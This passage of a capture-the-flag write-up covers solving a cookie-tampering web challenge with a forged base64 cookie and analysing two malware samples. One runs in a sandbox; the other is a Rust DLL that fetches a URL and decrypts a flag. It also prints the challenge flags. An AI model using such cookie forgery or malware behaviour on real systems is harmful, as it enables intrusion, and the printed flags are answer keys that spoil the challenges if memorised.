The send cookie is : {"recipe": "Magic Cookies", "time": "10/11/2000, 15:07:08"}:eyJyZWNpcGUiOiAiTWFnaWMgQ29va2llcyIsICJ0aW1lIjogIjEwLzExLzIwMDAsIDE1OjA3OjA4In0=
.
Got the flag when refreshed.
flag: flag{c36fb6ebdbc2c44e6198bf4154d94ed4}
Snake Oil
Learning from previous mistake, static analysis is fun but not really efficient.
So for this chall given the executable we have we will go ahead and run it on a sandbox. We directly got the flag through the Ngrok process
flag: flag{d7267ce26203b5cc69f4bab679cc78d2}
Crab
So we are presented with a DLL and a lnk exuting the DLL with the entry point DLLMain.
Decompiling it we can quickly check the exports functions. 3 functions are interesting, DLLMain, NtCheckOSArchitecture and TlsCallback_X.
Might indicate some external communication perform by the DLL for TlsCallback_X. For NtCheckOSArchitecture, it should set some execution condition that we will probably need to meet to check the file dinamically.
But we will start with DLLMain. The DLLMain only seems to call NtCheckOSArchitecture.
Exploring it we found method.crab_rave::inject_flag.h5274a20ed59aab7d that seems to be the function printing the flag.
rAcbUUWWNFlqMbruiYOIsAyVQHS78orvMoJ8C6O4D3asAApB -rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-r
URL is stored in argv 3 of the reqwest::blocking::get.h91579b36988f2767 Called by void method.crab_rave::inject_flag.h5274a20ed59aab7
Unfortunately I do not have screen for the rest but essentially you have a decript function called with arguments. Those arguments represent the key and the date to decode. You have to look in memory for the data and just decode it (that’s a AES encoding and a base64).
Conclusion
This was a fun CTF, done with collegues. We finished up to the 49 place and manage to solve all the challenges. Thanks for this CTF Huntress !